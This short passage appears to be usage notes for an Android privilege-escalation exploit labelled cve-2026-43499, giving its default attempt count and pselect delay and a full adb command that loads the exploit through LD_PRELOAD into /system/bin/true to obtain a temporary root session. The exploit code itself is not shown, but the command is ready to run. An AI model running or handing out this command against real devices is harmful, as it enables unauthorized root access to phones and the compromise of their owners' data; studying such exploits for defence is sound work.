The exploit defaults to 16 independent attempts and a base pselect delay of 20,000 microseconds. Override them when collecting timing data:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
The temporary root session and retained allocations last until reboot.
